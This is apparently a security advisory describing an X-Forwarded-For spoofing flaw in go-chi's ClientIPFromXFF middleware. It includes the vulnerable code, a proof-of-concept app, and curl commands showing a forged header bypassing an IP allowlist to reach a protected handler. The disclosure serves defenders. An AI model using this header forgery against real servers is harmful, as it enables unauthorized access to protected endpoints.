ClientIPFromXFF skips any X-Forwarded-For entry in a configured trusted CIDR but never verifies that the direct TCP peer in http.Request.RemoteAddr belongs to that CIDR. A client that can reach the Go server directly can therefore append a trusted-looking proxy address and choose the client IP returned by middleware.GetClientIP.
The attack is remote and requires one unauthenticated HTTP request with no user interaction (AV:N/AC:L/PR:N/UI:N). It changes security decisions and exposes one protected handler within the same application (S:U/C:L/I:L); no availability loss was observed (A:N).
Preconditions: The application uses ClientIPFromXFF and makes the origin server reachable by an anonymous client outside the configured trusted-proxy CIDRs. No victim interaction is required.
GET /admin directly to the origin with no X-Forwarded-For header.403 Forbidden response and an empty derived client IP.X-Forwarded-For: 10.0.0.7, 198.51.100.42.200 OK and client-ip="10.0.0.7". Expected: the untrusted direct peer prevents the forwarding chain from being accepted.The vulnerable code is ClientIPFromXFF in middleware/client_ip.go, lines 93-116 at the tested revision. It calls walkXFF with only the attacker-controlled header, skips every entry that matches a trusted prefix, and stores the first remaining address:
walkXFF(r.Header[xForwardedForHeader], func(v string) bool {
ip, ok := parseHeaderAddr(v)
if !ok {
return true
}
if inAnyPrefix(ip, prefixes) {
return false
}
found = ip
return true
})
The function does not parse r.RemoteAddr before this walk. Consequently, the configured CIDRs identify trusted strings inside X-Forwarded-For, but do not establish that the immediate sender is one of those trusted proxies.
Using Go 1.24 or later, create and run this minimal application against the tested revision:
mkdir chi-clientip-poc
cd chi-clientip-poc
go mod init clientip-poc
go get github.com/go-chi/chi/v5@167e1e3bd039d060696b99c8da4e876ae04f42c1
cat > main.go <<'EOF'
package main
import (
"fmt"
"log"
"net/http"
"github.com/go-chi/chi/v5"
"github.com/go-chi/chi/v5/middleware"
)
const allowedIP = "10.0.0.7"
func main() {
r := chi.NewRouter()
r.Use(middleware.ClientIPFromXFF("198.51.100.0/24"))
r.Get("/admin", func(w http.ResponseWriter, r *http.Request) {
clientIP := middleware.GetClientIP(r.Context())
if clientIP != allowedIP {
http.Error(w, fmt.Sprintf("denied: tcp-peer=%q client-ip=%q", r.RemoteAddr, clientIP), http.StatusForbidden)
return
}
fmt.Fprintf(w, "allowed: tcp-peer=%q client-ip=%q\n", r.RemoteAddr, clientIP)
})
log.Print("listening on http://127.0.0.1:3001")
log.Fatal(http.ListenAndServe("127.0.0.1:3001", r))
}
EOF
go run .
The no-header control was rejected:
$ curl --http1.1 -i http://127.0.0.1:3001/admin
HTTP/1.1 403 Forbidden
Content-Type: text/plain; charset=utf-8
X-Content-Type-Options: nosniff
Date: Tue, 06 Oct 2026 15:46:27 GMT
Content-Length: 48
denied: tcp-peer="127.0.0.1:54416" client-ip=""
Adding the forged chain authorized the same direct client:
$ curl --http1.1 -i -H 'X-Forwarded-For: 10.0.0.7, 198.51.100.42' http://127.0.0.1:3001/admin
HTTP/1.1 200 OK
Date: Tue, 06 Oct 2026 15:46:33 GMT
Content-Length: 57
Content-Type: text/plain; charset=utf-8
allowed: tcp-peer="127.0.0.1:54417" client-ip="10.0.0.7"
I made an anonymous direct connection from 127.0.0.1, supplied a header that ended in a different trusted-proxy CIDR, and caused the application to treat my client IP as the allowlisted 10.0.0.7. This changed the authorization decision from 403 Forbidden to 200 OK for the protected handler.
{
"cwe_ids": [
"CWE-345"
],
"github_reviewed": true,
"github_reviewed_at": "2026-10-23T20:56:46Z",
"nvd_published_at": null,
"severity": "MODERATE"
}